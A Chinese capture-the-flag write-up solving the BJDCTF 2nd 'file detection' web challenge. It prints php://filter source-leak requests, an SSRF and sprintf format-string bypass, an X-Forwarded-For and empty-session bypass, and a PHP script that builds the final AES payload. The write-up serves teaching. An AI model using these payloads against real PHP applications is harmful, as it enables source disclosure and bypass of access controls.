[BJDCTF 2nd]文件探测
知识点
- php://filter
- ssrf
- sprintf格式化字符串漏洞
- session绕过
初始界面
![]()
抓包,header处发现提示,Hint:home.php

访问home.php,跳转到了system.php

url中带有file=system,有可能存在文件读取,尝试用伪协议php://filter读取
home.php?file=php://filter/convert.base64-encode/resource=home
此处读取到home.php和system.php的源码
<?php
//home.php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {//^ ~ & |
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
- 过滤了^ ~ & |以及flag
<?php
//system.php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';//http://127.0.0.1
$filter2 = '/.?f.?l.?a.?g.?/i';//过滤flag
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";//q2.y1ng.txt
$method = $_POST['q3'];//q3 方法
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){//如果开头没有匹配到http://127.0.0.1则退出
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);//$detect 获取文件内容
print(sprintf("$url method&content_size:$method%d", $detect));//输出文件内容
}
?>
- q1 无用,随便写
- q2 会在后面拼接.y1ng.php,使用#注释掉后面的内容,即xxx#.y1ng.txt
- 要求q2以
http://127.0.0.1开头 - q3 格式化字符串漏洞,使用%绕过,即
q3=POST%s% -> POST%s%%d,%%会将%吞掉,d就成字符串了 - home的源码中还过滤了admin,猜测此处还存在一个admin.php,此处读取admin.php

获取到admin.php的源码
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)//aes加密 cbc模式
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {//remote_addr=127.0.0.1
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];//$data从_SESSION['secret']中获取
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');//aes加密密钥为y1ng
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
- 要求127.0.0.1访问
- GET方式接收decrypt变量
- _SESSION['secret']中获取数据,并使用
aesEn($data,$key)函数加密 - decrypt的值与加密后的值比较,相同则打印flag
bypass
- 127.0.0.1使用X-Forwarded-For绕过
- bp发包时,删去session值,则session数组中的值会置空,相当于
$data='';
构造payload
<?php
function aesEn($data, $key="y1ng")//aes加密 cbc
{
$method = 'AES-128-CBC';
$iv = md5("174.0.0.15",true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$cipher = aesEn('','y1ng');
echo urlencode($cipher);
//rs6fba9t%2FmQQ1ydsyw4c1Q%3D%3D



浙公网安备 33010602011771号